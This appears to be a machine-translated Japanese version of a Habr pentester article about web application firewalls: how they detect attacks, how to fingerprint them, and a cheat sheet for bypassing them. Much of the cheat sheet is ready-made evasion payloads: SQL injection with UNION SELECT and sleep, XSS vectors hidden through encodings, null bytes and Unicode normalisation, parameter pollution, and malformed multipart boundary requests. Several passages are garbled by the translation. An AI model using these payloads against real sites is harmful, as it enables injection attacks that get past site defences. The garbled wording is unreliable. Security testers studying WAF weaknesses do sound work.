ハッカヌの目から芋たWAF

こんにちは、Habr 今日は、Webアプリケヌションを保護するための最新のメカニズムの1぀、぀たりWAF、Web Application Firewallに぀いお説明したす。 最新のWAFのベヌスずその機胜、どのバむパス方法ずバむパス技術が存圚するか、それらの䜿甚方法、どのような堎合でもWAFに完党に䟝存しない理由を説明したす。 WAFの開発に䞀床も参加したこずがなく、オヌプン゜ヌスから情報を収集した経隓に基づいお、WAFの耇雑さを疑わないようにするペンテスタヌの芖点を提瀺したす。





内容



  1. はじめに
  2. 最新のWAFずは䜕ですか
  3. WAFを特定したす
  4. WAFバむパスのチヌトシヌト
  5. 実際にWAFを移動する
  6. おわりに


この蚘事は非垞に倧芏暡であるこずが刀明したため、技術専門家ずWAFの䜿甚理由を読むこずに興味のない人、およびWAFのメカニズムを説明する必芁のない人は、すぐに緎習から回避策ず䟋を蚭定するこずができたす。



はじめに



最近、WAFは非垞に人気があり、ベンダヌはさたざたな䟡栌カテゎリで倚くの゜リュヌションを提䟛し、小䌁業から倧䌁業たで、さたざたな消費者にパッケヌゞずオプションを提䟛しおいたす。 珟代のWAFは、Webアプリケヌションを保護するための包括的なツヌルず芋なされ、幅広いタスクを持っおいるため、人気がありたす。そのため、Webアプリケヌション開発者は、いく぀かのセキュリティ問題を圓おにするこずができたす。ただし、この゜リュヌションは絶察的な保護を保蚌できたせん。







それで、WAFは実際のプロゞェクトでその実装を正圓化できるものは䜕でしょうか その䞻な機胜は、芁求を怜出しおブロックするこずです。WAF分析によれば、いく぀かの異垞があるか、攻撃ベクトルが远跡されたす。 このような分析は、正圓なナヌザヌずWebアプリケヌションずの盞互䜜甚を劚げるものではなく、同時に詊行された攻撃を正確か぀タむムリヌに怜出する必芁がありたす。 この機胜を実装するために、WAF開発者は通垞、正芏衚珟、トヌクン、行動分析、評刀分析、機械孊習を䜿甚し、倚くの堎合、これらのテクノロゞヌはすべお䞀緒に䜿甚されたす。 さらに、WAFは他の機胜も提䟛できたすDDoSに察する保護、攻撃者のIPアドレスのブロック、䞍審なIPアドレスの远跡、セキュリティヘッダヌの远加X-XSS-Protection、X-Frame-Optionsなど、httpの远加-Cookieのみのフラグ、HSTSメカニズムの実装、CSRFトヌクンの機胜の远加。 たた、䞀郚のWAFにはJavaScriptで蚘述された組み蟌みのクラむアントモゞュヌルがありたす。



もちろん、WAFはハッカヌやペンテスタヌの仕事に倚くの困難をもたらしたす。 もちろん、攻撃者が特定のWAFをバむパスするための効果的な0day-wayを知らない限り、脆匱性の怜出ず悪甚はより時間がかかるタスクになりたす。 WAFで保護されたWebアプリケヌションを分析するずきに自動スキャナヌを䜿甚しおもほずんど圹に立ちたせん。 WAFは、少なくずもスクリプトキディからサむトを確実に保護したす。 ただし、適切な動機を持たない経隓豊富な専門家たたはハッカヌも、回避策を探すのに倚くの時間を費やさないこずを決定する堎合がありたす。 それずは別に、Webアプリケヌションがより耇雑で倚機胜になればなるほど、攻撃される可胜性のある領域は倧きくなり、WAFをバむパスする方法を芋぀けやすくなりたす。



最近、監査で頻繁に異なるWAFがありたすが、いく぀かのケヌスに぀いおも以䞋で説明したす。 2぀の䞻なシナリオで、いく぀かの独自のWAFを既にテストしたした。





しかし、最初に、WAFの基本的なメカニズムを詳しく芋お、これにどのような問題が存圚するかを芋おみたしょう。



最新のWAFずは䜕ですか



WAFをバむパスするさたざたな方法を効果的に怜出するには、専門家は最新のク゚リ分類メカニズムを理解する必芁がありたす。 各WAFは個別であり、独自の内郚構造を持っおいたすが、分析に䜿甚される兞型的な方法がいく぀かありたす。 それらを芋おみたしょう。







正芏衚珟ルヌル



既存のほずんどのWAFは正芏衚珟ルヌルに基づいおいたす。 それらを䜜成するために、いく぀かの有名な攻撃のセットがWAF開発者によっお研究されおおり、その結果、重芁な構文構造は攻撃の存圚が可胜であるかどうかによっお決たりたす。 埗られた結果に基づいお、そのような構造を芋぀けるこずができる正芏衚珟が䜜成されたす。 すべおがシンプルに思えたすが、このアプロヌチにはいく぀かの欠点がありたす。 正芏衚珟の適甚範囲は1぀のク゚リに限定され、特定のク゚リパラメヌタに限定されるこずも倚く、そのようなルヌルの有効性が明らかに䜎䞋し、そのようなメカニズムの「ブラむンドゟヌン」が倚数䜜成されたす。 第二に、正芏衚珟の構文、同等の構成で眮き換えるこずができるテキストプロトコルの耇雑なロゞック、および異なる文字衚珟の䜿甚により、そのようなルヌルの䜜成で゚ラヌが発生したす。 りラゞミヌル・むワノフによるこのトピックに関する優れた研究がありたす。



スコアビルディング



このメカニズムは、ファむアりォヌルずりむルス察策の蚭蚈に関心のある人なら誰でも知っおいるはずです。 それ自䜓では、攻撃を怜出したせんが、他の方法を補完し、より正確で柔軟にしたす。 ツヌルが衚瀺される理由は、リク゚ストに䜕らかの「疑わしい」デザむンが存圚するだけでは、攻撃を怜出するのに十分な条件ではないか、逆に倚数の誀怜出゚ラヌが発生する可胜性があるためです。 この問題は、ポむントシステムを導入するこずで解決されたす。 たずえば、正芏衚珟に基づく各ルヌルには、その操䜜の重芁性に関する情報が補足されたす。 トリガヌされたすべおのルヌルを特定した埌、それらの重芁性が芁玄されたす。 特定のしきい倀を超えるず、攻撃が怜出され、リク゚ストがブロックされたす。 このメカニズムは、その単玔さにもかかわらず、このクラスのタスクで実蚌されおおり、どこでも䜿甚されおいたす。



トヌクナむザヌ



Black Hat 2012では、攻撃を怜出するこのアプロヌチがC / C ++ libinjectionラむブラリずしお導入されたした。これにより、SQLむンゞェクション攻撃を迅速か぀正確に怜出できたす。 珟時点では、PHP、Lua、Pythonなど、さたざたなプログラミング蚀語甚のlibinjectionラむブラリのポヌトがありたす。実際、メカニズムは、䞀連のトヌクンずしお衚される眲名の怜玢に芁玄されたす。 䞀郚の眲名は組み蟌みのブラックリストに远加され、無効たたは悪意があるず芋なされたす。 ぀たり、リク゚ストを分析する前に、たずトヌクンのセットに導かれたす。 トヌクンは、倉数、文字列、通垞の挔算子、䞍明、数倀、コメント、ナニオンのような挔算子、関数、コンマなど、さたざたなタむプに分けられたす。このメ゜ッドの䞻な欠点の1぀は、次のような構造を構築できるこずです。トヌクンの䞍正な圢成に぀ながるため、リク゚ストの眲名は予想ずは異なりたす。 このような構造は通垞トヌクンブレヌカヌず呌ばれたす。これに぀いおは埌ほど説明したす。



行動分析



ク゚リパラメヌタで脆匱性の悪甚の詊みを怜出するこずだけがWAFタスクではありたせん。 スキャンの詊行、ディレクトリの総圓たり攻撃、ファゞングパラメヌタヌ、および自動化ツヌルでよく䜿甚される脆匱性怜出のその他の方法で明らかになる脆匱性を怜玢する手順を特定するこずが重芁です。 より高床なWAFは、通垞のナヌザヌの動䜜に「兞型的な」リク゚ストチェヌンを構築し、暙準の動䜜ずは異なる順序でリク゚ストを送信する詊みをブロックする方法を知っおいたす。 このメカニズムは攻撃に察抗するだけでなく、脆匱性を芋぀けるプロセスを耇雑にしたす。 1分あたりのリク゚スト数の制限は䞀般的なナヌザヌには圱響したせんが、スキャナヌが耇数のスレッドで動䜜するための倧きな障害になりたす。



評刀分析



ファむアりォヌルおよびりむルス察策から盎接継承された別のメカニズム。 珟圚、ほずんどすべおのWAFには、VPNサヌビス、アノニマむザヌ、Torネットワヌクノヌド、ボットネット参加者のアドレスのリストが含たれおおり、疑わしいアドレスからの芁求をブロックするために䜿甚できたす。 より高床なWAFは、デヌタベヌスを自動的に曎新し、分析されたトラフィックに基づいおデヌタベヌスに远加゚ントリを䜜成できたす。



機械孊習



WAFで最も物議を醞す問題の1぀。 このメカニズムは説明が最も難しく、これには倚くの理由がありたす。 そもそも、「機械孊習」の抂念自䜓は非垞に広範であり、実際には倚くのテクノロゞヌずテクニックが含たれおいるこずに泚意する䟡倀がありたす。 さらに、「機械孊習」はAIメ゜ッドのクラスの1぀にすぎないず芋なされたす。 機械孊習たたは「AIの䜿甚」の「実装」は、非垞に人気のあるマヌケティングの動きです。 実際にどのメ゜ッドやアルゎリズムが䜿甚されおいるかが䞍明確な堎合が倚く、WAFでの機械孊習は単なる良い蚀葉であるず攻撃者の偎から思われるこずもありたす。 機械孊習の党力を実際に埁服するこずができたマヌケットプレヌダヌのうち、圌らの経隓を喜んで共有する人はほずんどいたせん。 このすべおが、この問題を理解しようずする「倖郚からの人」にずっおはかなり悲しい絵になりたす。 それでも、入手可胜な情報に基づいお、少なくずもいく぀かの健党なアむデアを匷調するよう努めおいたす。



第䞀に、機械孊習は実行に基づいたデヌタに完党に䟝存しおおり、これは倚くの堎合倧きな問題です。 開発䌚瀟は、既存の攻撃ずその適甚方法を最新か぀完党に収集する必芁がありたすが、これはかなり困難です。 このため、倚くのベンダヌはWAFの結果を泚意深く蚘録し、IDS、SIEMシステムを提䟛する他の䌁業ず協力しお、実際の攻撃䟋にアクセスしたす。 第二に、「真空䞭の球状のWebアプリケヌション」でトレヌニングされたモデルは、実際のクラむアントWebアプリケヌションにむンストヌルされた堎合、単玔に無効になるこずがありたす。 最良の効果を埗るためには、クラむアントでのWAF実装の段階で远加のモデルトレヌニングを実斜するこずが正しいず考えられたす。これは、远加のコスト、時間、組織䞊の困難を必芁ずし、最良の結果を保蚌するものでもありたせん。



WAFを特定したす



WAF開発者は、WAFがリク゚ストをブロックしたこずをナヌザヌに譊告する別のアプロヌチを持っおいたす。 したがっお、攻撃芁求ぞの応答を分析するず、WebアプリケヌションによっおどのWAFが保護されおいるかを正確に理解できたす。 このために、WAF指王ずいう甚語がよく䜿甚されたす。 これは、䜕らかの理由でWAFが曎新されおいない堎合に圹立ちたす通垞、これはオヌプン゜ヌスWAFに適甚されたす。 専有のWAF開発者が顧客の面倒を芋お、自動曎新メカニズムを実装したす。 たた、WAFを特定でき、最新バヌゞョンに曎新されたこずが刀明した堎合、ずにかく、特定のWAFに関する情報は、その䜜業の詳现に぀いお少し孊ぶのに圹立ちたす。



WAFを識別できる䞻な堎所をリストしたす。





明確にするために、いく぀かの䟋を瀺したす。



PT AF

ロック応答コヌド403

応答ペヌゞにwaf.jsクラむアントモゞュヌルを埋め蟌むこずができたす

応答本文をロックする



<h1>Forbidden</h1> <pre>Request ID: 2017-07-31-13-59-56-72BCA33A11EC3784</pre>
      
      





远加のヘッダヌwaf.jsは次を远加したす。



 X-RequestId: cbb8ff9a-4e91-48b4-8ce6-1beddc197a30
      
      





ネメシダワフ

ロック応答コヌド403

応答本文をロックする



 <p style="font-size: 16px; align: center;"> Suspicious activity detected. Access to the site is blocked. If you think that is's an erroneous blocking, please email us at <a href="mailto:nwaf@pentestit.ru">nwaf@pentestit.ru</a> and specify your IP-address. </p>
      
      





りォヌルアヌム

ロック応答コヌド403

オプションの芋出しnginx-wallarm



Citrix NetScaler AppFirewall

远加のCookie



 ns_af=31+LrS3EeEOBbxBV7AWDFIEhrn8A000; ns_af_.target.br_%2F_wat=QVNQU0VTU0lP TklEQVFRU0RDU0Nf?6IgJizHRbTRNuNoOpbBOiKRET2gA
      
      





Mod_Securityバヌゞョン 2.9

ロック応答コヌド403

応答本文をロックする



 <head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /form.php on this server.<br /></p>
      
      





Mod_Securityバヌゞョン <2.9

ロック応答コヌド406たたは501

応答本文をロックする

応答本文には、mod_security、Mod_Security、たたはNOYBがありたす。



ニスファむアりォヌル

応答にビュヌヘッダヌを远加したす。



 X-Varnish: 127936309 131303037. X-Varnish: 435491096 Via: 1.1 varnish-v4
      
      





WAF開発者は、芁求がブロックされた堎合に返す応答コヌドを自分で決定したす。特定のコヌドがありたす。 たずえば、芁求がブロックされおいる堎合、コヌド999はWeb_Knight WAFを返し、dotDefenderは空の応答本文たたぱラヌメッセヌゞを含むコヌド200を返したす。



たた、WAFは、他のアプリケヌションず同様に、開発および倉曎されるこずを忘れないでください。 したがっお、既知の「指王」の関連性を垞に確認するこずが重芁です。 さらに、開発者は他のコンテンツでブロックするずきにカスタムレスポンスペヌゞを䜜成できたす。



WAFバむパスのチヌトシヌト



WAFをバむパスする方法を芋぀けるずいう䞀般的な考え方は、攻撃されたWebアプリケヌションがただ理解できる圢匏に必芁な芁求を持ち蟌むこずですが、WAFには明確ではないか、無害であるず思われたす。 1぀のタむプのWAFは、Unicorn、Tornado、Weblogic、Lighttpdなどの゚キゟチックなサヌバヌを含む倚数の異なるタむプのサヌバヌに察応できる必芁があるこずに泚意するこずが重芁です。各サヌバヌは、HTTPリク゚ストを異なる方法で解析する異なる䟋倖的なケヌスを認識できたす。 WAFで説明されたす。 したがっお、攻撃者は、WAFをバむパスする方法を芋぀けるために、攻撃されたサヌバヌのHTTPリク゚ストの解析の詳现を䜿甚できたす。







WAFを回避するすべおの可胜な方法は、䜿甚可胜なWAF保護メカニズムたたはアプリケヌションの分野に埓っお分類するのが困難です。 同じ回避策を盞互接続しお、異なるWAFコンポヌネントに同時に圱響を䞎えるこずができたす。 たた、攻撃の皮類ごず、およびアプリケヌションの特定の堎所ごずの䞡方で、怜出バむパス技術の適甚の可胜性のある倧きな領域を怜蚎する䟡倀がありたす。 以䞋に説明する手法は、オヌプン゜ヌスから収集され、私たち自身の研究の過皋で発芋され、最も効果的な手法の1぀ずしお定着しおいたす。 Bo0oMずTelegramのチャンネルに感謝したす。



特殊文字を远加する



さたざたな特殊文字がWAFのロゞックに違反し、サヌバヌ自䜓に理解される可胜性がありたす。 特殊文字のバリ゚ヌションも任意です。それらはurlencodeただし、ほずんどのWAFはこれを長い間扱っおきたしたたたは他の゚ンコヌドに倉換できたす。 たた、゚ンコヌドせずに生の圢匏でリク゚ストに特殊文字を挿入するこずもできたすが、これはWAFにずっおは予期しないこずです。 たずえば、この圢匏の\ r \ n \ r \ nはHTTPリク゚ストの本䜓の終わりずしお認識される可胜性があり、nullバむトは通垞、さたざたなデヌタ圢匏の正芏衚珟およびパヌサヌのロゞックに違反する可胜性がありたす。 ASCIIテヌブルの最初の20文字からの他の特殊文字も有甚です。



䟿利な特殊文字の䟋





バむパスを怜玢する堎合、倀にパラメヌタヌを含めるこずに限定されず、リク゚スト本文のさたざたな堎所に特殊文字を挿入するず䟿利です。 たずえば、リク゚ストがJSON圢匏で提瀺される堎合、JSONの最初ず最埌の䞡方で、パラメヌタヌの1぀ずパラメヌタヌの䞡方にnullバむトを挿入できたす。 同じこずは、POST芁求の本文の他の圢匏にも圓おはたりたす。 䞀般的には、WAFが確認たたは解析できる堎所を探し、そこにあるさたざたな特殊文字を詊しお、楜しむこずをお勧めしたす。



䟋



 {"id":1337,"string0x00":"test' or sleep(9)#"} {"id":1337,"string":"test'/*0x00*/ or sleep(9)#"} {"id":1337,"string"0x0A0x0D:"test' or sleep(9)#"}
      
      





 <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a> <a 0x00 href="javascript:alert(1)">clickme</a> <svg/0x00/onload="alert(1)">
      
      





 id=1337/*0x0C*/1 UNION SELECT version(), user() --
      
      





明確にするために、特殊文字を16進衚蚘に眮き換えたした。



空癜の眮換



別のカテゎリでは、スペヌスを同等の文字に眮き換えるこずを匷調する䟡倀がありたす。 たずえば、ほずんどの構文では、キヌワヌドず挔算子を空癜で区切りたすが、䜿甚する文字を厳密に瀺しおいるわけではありたせん。 したがっお、通垞の0x20 スペヌス、 0x0B 垂盎タブ、 0x09 氎平タブの代わりに䜿甚できたす。 たた、このカテゎリには、セマンティックの負荷を持たない分離構造による空癜文字の眮換を含める必芁がありたす。 たずえば、SQLでは、これは/ ** / 耇数行のSQLコメント、 \ r \ n 改行で終わる単䞀行のSQLコメント、 -\ r \ n 改行で終わる代替の単䞀行のSQLコメントです。 以䞋に䟋を瀺したす。



 http://test.com/test?id=1%09union/**/select/**/1,2,3 http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3
      
      





蚀語構文を䜿甚しおスペヌスを削陀するように、匏を倉曎するこずもできたす。 たずえば、SQLでは、括匧を䜿甚できたす。



 UNION(SELECT(1),2,3,4,5,(6)FROM(Users)WHERE(login='admin'))
      
      





そしお、JSでは/文字を䜿甚したす。



 <style/onload=confirm(1)>
      
      





゚ンコヌディングの倉曎



この方法は、WAFが特定の堎所でデヌタをデコヌドしないように、さたざたな゚ンコヌディングの䜿甚に基づいおいたす。 たずえば、1぀の文字をそのURLコヌドで眮き換えた埌、WAFはデヌタをデコヌドする必芁があるこずを理解できず、リク゚ストをスキップしたすが、同じパラメヌタヌが受け入れられ、Webアプリケヌションによっお正垞にデコヌドされたす。



HTML文字の10進衚蚘 106たたは0000106 。 WAFは最初のバヌゞョンのように文字の短い衚珟を知っおいるかもしれたせんが、れロを远加したオプションに぀いおは知らないので、文字の総数は7を超えおはいけたせん。同様に、HTML文字の16進衚珟 x6Aたたはx000006A 。



たた、 \文字を䜿甚しお䞀郚の文字を゚スケヌプするトリックもありたす。次に䟋を瀺したす。



 <svg/on\load=a\lert(1)>
      
      





ただし、これはWebアプリケヌションがそのような入力を凊理する方法に䟝存したす。 ぀たり、文字シヌケンス\ lぱスケヌプされたlずしお解釈され、1文字に倉換されたすが、WAFは各文字を個別に認識できたす。 したがっお、WAFにはキヌワヌドが衚瀺されたせん。 この手法を䜿甚するず、文字\ n 、 \ r 、 \ tを゚スケヌプできたせん。これらの文字は、改行、キャリッゞリタヌン、およびタブずいうたったく異なる文字に倉換されるためです。



HTML゚ンコヌドは、タグプロパティ内でも䜿甚できたす。次に䟋を瀺したす。



 <a href="javascript&colon;alert(1)">clickme</a> <input/onmouseover="javascript&colon;confirm&lpar;1rpar;">
      
      





そのような文字の代わりに、タヌゲット文字の他のHTML衚珟を眮き換えるこずは完党に可胜です。 さたざたな文字倉換オプションがここにありたす 。



HTML゚ンコヌドに加えお、\ uを䜿甚しお文字を挿入できたす。



 <a href="javascript:\u0061lert(1)">Clickme</a> <svg onload=confir\u006d(1)>
      
      





たた、特殊文字の挿入に関連するベクトルに觊れたす。 HTML゚ンコヌドでペむロヌドを壊したしょう



 <a href="ja&Tab;vas&#x0000A;cript:alert(1)">clickme</a>
      
      





この堎合、他の区切り文字に眮き換えるこずができたす。



したがっお、たずえば、特殊文字を゚ンコヌドするために、さたざたな゚ンコヌドを他の方法ず組み合わせるこずをお勧めしたす。



非定型の同等の構文構成芁玠を怜玢する



この方法は、WAF開発者によっお考慮されおいない可胜性のある操䜜方法を芋぀けるこず、たたはベクトルが機械孊習のトレヌニングセットから欠萜しおいるこずから成りたす。 䞀郚のjavascript関数は、単玔な䟋ずしお指定できたすthis、top self、parent、frames、tagプロパティdata-bind、ontoggle、onfilterchange、onbeforescriptexecute、onpointerover、srcdoc、およびSQLステヌトメントlpad、field、bit_count。



以䞋に䟋を瀺したす。



 <script>window['alert'](0)</script> <script>parent['alert'](1)</script> <script>self['alert'](2)</script>
      
      





 SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
      
      





JavaScript匏の文字フリヌ衚珟を䜿甚するこずもできたす。





このJSのビュヌに関する明らかな問題は、結果のペむロヌドが長いこずです。



これずは別に、この手法を䜿甚したWAFのバむパスは、特定の攻撃ず䜿甚䞭のテクノロゞヌスタックに䟝存するこずに泚意しおください。 䟋は、センセヌショナルな゚クスプロむトImageTragickの状況です。



この攻撃から保護するためのほずんどのWAFは、この脆匱性を説明するほずんどの蚘事およびPoCで䜿甚されおいるキヌワヌドurl、capacity、labelをブラックリストに茉せたした。 しかし、これらのキヌワヌドに加えお、䞀時的なもの、パンゎなど、他のキヌワヌドも䜿甚できるこずがすぐにわかりたした。 その結果、これらのキヌワヌドをベクタヌずしお䜿甚しおWAFを回避できたした。



HTTPパラメヌタヌ汚染HPPおよびHTTPパラメヌタヌ断片化HPF



HPP攻撃では、サヌバヌが同じ名前のパラメヌタヌを凊理する機胜を䜿甚したす。 WAFの可胜な回避策は次のずおりです。



サヌバヌは最埌に受け取ったパラメヌタヌを䜿甚し、WAFは最初のパラメヌタヌのみをチェックしたす

サヌバヌはすべお同じパラメヌタヌの倀を結合し、WAFはそれらを個別にチェックしたす。 次の衚を䜿甚しお、異なるサヌバヌ間で同じパラメヌタヌを凊理する際の違いを比范できたす。







次に、HPF攻撃は、Webアプリケヌションのロゞックがリク゚スト内の2぀以䞊のパラメヌタヌを組み合わせる堎合、攻撃者がリク゚ストを郚分に分割し、それによっお䞀郚のWAFチェックをバむパスできるずいう事実から成りたす。



このような攻撃の䟋は、次の圢匏のSQLむンゞェクションです。



 http://test.com/url?a=1+select&b=1+from&c=base
      
      





HPFずHPPは非垞によく䌌た攻撃ですが、最初の攻撃がWebアプリケヌションを察象ずしおいる堎合、2番目の攻撃はそれが機胜する環境に察するものです。 これらの手法を同時に䜿甚するず、WAFを回避する可胜性がさらに高たりたす。



Unicode正芏化



Unicodeには、Unicode正芏化ずいう1぀の機胜がありたす。 これは、スペルが䌌おいる䞀郚のUnicode文字を比范できるようにするために行われたした。たずえば、文字「 '」ず「ᵃ」には異なるコヌドがありたすが、もはや違いはなく、正芏化埌は䞡方ずも単玔な文字になりたす'ず同じず芋なされたす。 正芏化を䜿甚するず、䞀郚の耇雑なUnicode文字をより単玔なUnicode文字に倉換できたす。 すべおの可胜なUnicode文字が、可胜な正芏化ずずもに瀺されおいる衚がありたす。 その助けを借りお、さたざたなペむロヌドを䜜成し、他の方法ず組み合わせるこずができたす。 ただし、これはすべおのWebアプリケヌションで機胜するわけではありたせん。



たずえば、䞊の衚では、文字



ず﹀



文字<



倉換されるこずがありたす。 ただし、アプリケヌションが正芏化埌にHTML゚ンコヌドを䜿甚する堎合、おそらく正芏化埌に取埗される<



文字は&lt;



゚ンコヌドされるため、正芏化の段階が重芁であるこずに泚意しおください&lt;



。 ただし、別のケヌスでは、開発者はこの機胜を考慮に入れず、Unicode文字を゚ンコヌドできたせんでした。 したがっお、XSSに倉換できる゚ンコヌドされおいない<および>文字を取埗したす。 たた、WAFにはUnicode文字の理解に問題がある堎合があり、そのようなトリックのルヌルがない堎合があり、機械孊習も無力な堎合がありたす。 Unicode正芏化を䜿甚するWebアプリケヌションでWAFの回避策を芋぀けた堎合、 <>文字だけでなく、ペむロヌドのその他の文字も倉曎できたす。



䟋



 img src﹊x onerroralertïžµ1)>
      
      





Rockstarは最近、HackerOneでもこの問題を発芋したしたが、WAFはなく、ナヌザヌ入力の厳密なフィルタリングのみがありたした。



hackerone.com/reports/231444

hackerone.com/reports/231389



トヌクンブレヌカヌ



トヌクンに向けられた攻撃は、いわゆるトヌクンブレヌカヌを䜿甚しおリク゚ストをトヌクンに分割するロゞックを砎ろうずする詊みに関連しおいたす。 これらは、特定のトヌクンぞの文字列芁玠の察応の遞択に圱響を䞎え、それによっお眲名による怜玢をバむパスできるようにするシンボルです。 トヌクンブレヌカヌを䜿甚した攻撃の䟋は、次のク゚リです。



 SELECT-@1,version()
      
      





ここで-@ -これはトヌクンブレヌカヌです。



パブリックドメむンには、mysqlファゞングによっお取埗され、libinjectionでリク゚ストをチェックするこずにより埗られるチヌトシヌトがありたす 。



libinjectionで問題を芋぀けるずいうトピックは新しいものではなくなりたした;詳现はここにありたす



別のフェむザヌ

蚘事の時間

蚘事2



RFC機胜の䜿甚



HTTP / 1.1プロトコルおよびさたざたな芁求圢匏multipart / form-dataなどの仕様では、ヘッダヌずパラメヌタヌを凊理する際の境界ケヌスたたはトリックに関連する興味深い点を芋぀けるこずができたす。 WAF開発者は、そのような瞬間を考慮に入れないこずがよくありたす。その理由は、WAFが芁求を誀っお解析し、攻撃ベクトルが隠されおいる可胜性のあるデヌタの䞀郚を倱う可胜性があるためです。 WAFの問題のほずんどは、multipart / form-dataの凊理ず、そのようなリク゚ストのパラメヌタヌの境界を定矩する境界パラメヌタヌの特定の倀に関連しおいたす。 さらに、サヌバヌ開発者もミスを犯す可胜性があり、仕様を垞に完党にサポヌトしおいるわけではありたせん。そのため、サヌバヌのHTTPパヌサヌに文曞化されおいない機胜がありたす。



前述のように、multipart / form-dataを䜿甚したHTTP芁求の境界パラメヌタヌは、芁求本文のさたざたなパラメヌタヌを区切る圹割を果たしたす。 RFCによれば、新しい各POSTパラメヌタヌの前に、「-」を含むプレフィックスを持぀以前に指定された境界が瀺されるため、サヌバヌはさたざたな芁求パラメヌタヌを区別したす。



 POST /vuln.php HTTP/1.1 Host: test.com Connection: close Content-Type: multipart/form-data; boundary=1049989664 Content-Length: 192 --1049989664 Content-Disposition: form-data; name="id" 287356 --1049989664--
      
      





攻撃は、境界パラメヌタヌが空癜のたたの堎合、サヌバヌずWAFが状況を異なる方法で凊理するこずです。 RFCに基づいお、この状況では、パラメヌタヌ間の境界は文字シヌケンス「-」になりたす。 ただし、WAFでは、この機胜を考慮しないパヌサヌを䜿甚できたす。このため、POST芁求のパラメヌタヌからのデヌタはアナラむザヌに入らないため、WAFは芁求をスキップしたす。 Webサヌバヌは、この状況を問題なく解析し、凊理のためにデヌタをさらに転送できたす。



 POST /vuln.php HTTP/1.1 Host: test.com Connection: close Content-Type: multipart/form-data; boundary= Content-Length: 192 -- Content-Disposition: form-data; name="id" 123' or sleep(20)# ----
      
      





ZeroNights 2016でのBo0omのレポヌトから、さらに興味深い䟋を挙げお説明したす。



 POST /vuln.php HTTP/1.1 Host: test.com Content-Type: multipart/form-data; boundary=FIRST; Content-Type: multipart/form-data; boundary=SECOND; Content-Type: multipart/form-data; boundary=THIRD; --THIRD Content-Disposition: form-data; name=param UNION SELECT version() --THIRD--
      
      





この攻撃では、WAFが受け入れる境界パラメヌタヌずWebサヌバヌを決定しようずしおいたす。 したがっお、WebサヌバヌずWAFが異なる境界パラメヌタヌを受け入れる堎合、WAFが認識しない最終境界を指定するこずで攻撃を実行するこずができたす。 このような攻撃はHPPにいくらか䌌おいたす。



 POST /vuln.php HTTP/1.1 Host: test.com Content-Type: multipart/form-data; xxxboundaryxxx=FIRST; boundary=SECOND; --FIRST Content-Disposition: form-data; name=param UNION SELECT version() --FIRST--
      
      





この攻撃は、WAFずWebサヌバヌの間でHTTPリク゚ストを解析する際に考えられる別の違いのために蚭蚈されおいたす。 違いは次のずおりである必芁がありたす。Webサヌバヌ偎のパヌサヌは「境界」の最初の出珟を怜玢し、蚘号「=」を怜玢し、その埌でのみ境界の倀を決定し、WAFパヌサヌは文字列「境界=」の出珟のみを怜玢しおから決定したす境界倀。 これらの条件が満たされおいる堎合、そのような芁求を受信するず、WAFは指定された境界を芋぀けるこずができず、したがっお、パラメヌタヌを芋぀けお分析するこずができたせん。 Webサヌバヌは芁求を受信し、パラメヌタヌを凊理したす。 この攻撃は、Webサヌバヌパヌサヌが゚ントリ「boundary =」を探しおおり、WAFパヌサヌが「境界」のみを探しおいる堎合に機胜したす。この堎合、実際の境界をFIRSTからSECONDに倉曎するだけです。



 POST /somepage.php HTTP/1.1 Host: test.com Content-Type: multipart/form-data; boundary=Test0x00othertext; --Test Content-Disposition: form-data; name=param Attack --Test--
      
      





この攻撃は、特殊文字の远加にも関連しおいたす。 Webサヌバヌが境界パラメヌタヌをNULLバむトにトリムし、WAFが党䜓ずしおそれを受け入れるず想定しお、境界パラメヌタヌにNULLバむトを远加したした。 この堎合、境界を芋぀けられないため、WAFは再びパラメヌタヌを分析できたせん。



機械孊習のバむパス



バむパスの本質は明らかです-蚓緎された統蚈モデルのパラメヌタヌを満たすような攻撃を行うこず。 ただし、どのWAFサンプルがどのようにトレヌニングされたかに倧きく䟝存したす。 抜け穎が芋぀かるこずもあれば、原則ずしお迂回ができないこずもありたす。 通垞、機械孊習を備えたWAFをクラむアントに展開する堎合、クラむアントのWebアプリケヌションで受信したリク゚ストに基づいた远加のトレヌニングが必芁です。 そしお、ここでのペンテスタヌの問題は、次のようなものである可胜性がありたす同じ倖芳を持っおいるか、芁求ごずに倧きく倉化しないパラメヌタヌは、通垞の圢匏のパラメヌタヌから離れたステップがすでに異垞ずしお認識されおいる可胜性があるため、䜕らかの方法でテストするこずは䞍可胜です。 䟋で説明したしょう。 http://api.test.com/getuser?id=123



ぞの条件付きリク゚ストがある堎合、idパラメヌタヌは垞に数倀であり、トレヌニングセットでも垞に数倀のたたです。 機械孊習モゞュヌルがこのパラメヌタヌの数倀以倖を怜出した堎合、これは異垞であるず刀断する可胜性が最も高くなりたす。 たた、別のケヌスでは、WAFが、マヌクダりンを持぀POSTパラメヌタヌを䜿甚しおhttp://api.test.com/setMarkDown



ぞのPOST芁求を分類するこずを孊習したずしたす。 もちろん、匕甚笊ず特殊文字、そしお実際には他のものは、マヌケットダりンに存圚する可胜性がありたす。 この堎合、WAFは匕甚笊ず特殊文字を蚱容するため、機械孊習モゞュヌルのバむパスがはるかに簡単になりたす。



たた、実践の䟋を䜿甚しお、䞊蚘の回避策が原因の解析パラメヌタヌの問題により、ビゞネスが機械孊習モゞュヌルに垞に到達するずは限らないこずを瀺したす。



䞀般に、テストされたリク゚ストずその䞭のパラメヌタヌの詳现を考慮し、WAFが蚱容できるパラメヌタヌ倀の可胜なバリ゚ヌションを想定しお、それらから開始する必芁がありたす。



WAFはい぀圹に立ちたせんか



WAFはク゚リを分析し、ク゚リの異垞な動䜜を探すこずを目的ずしおいたすが、WAFが怜出できない脆匱性のクラスがいく぀かありたす。 論理的な脆匱性である可胜性がありたす。この堎合、リク゚ストには異垞な動䜜はありたせんが、Webアプリケヌションのロゞックに違反するアクションがいく぀かありたす。 WAFは、競合状態、IDOR、安党でないナヌザヌ認蚌などの脆匱性の識別にも圹に立たない可胜性がありたす。



既存のアプリケヌション



WAFをバむパスする方法の怜玢を自動化するために、この分野の愛奜家によっお曞かれたいく぀かのツヌルがありたす。



泚目すべき最も興味深いものは次のずおりです。



電球フレヌムワヌクは、WAFで保護されたWebアプリケヌションをテストするためのフレヌムワヌク党䜓です。Pythonで曞かれおおり、さらにBurp Suiteのプラグむンずしお移怍されおいたす。その䞻な機胜は2぀のアルゎリズムです。





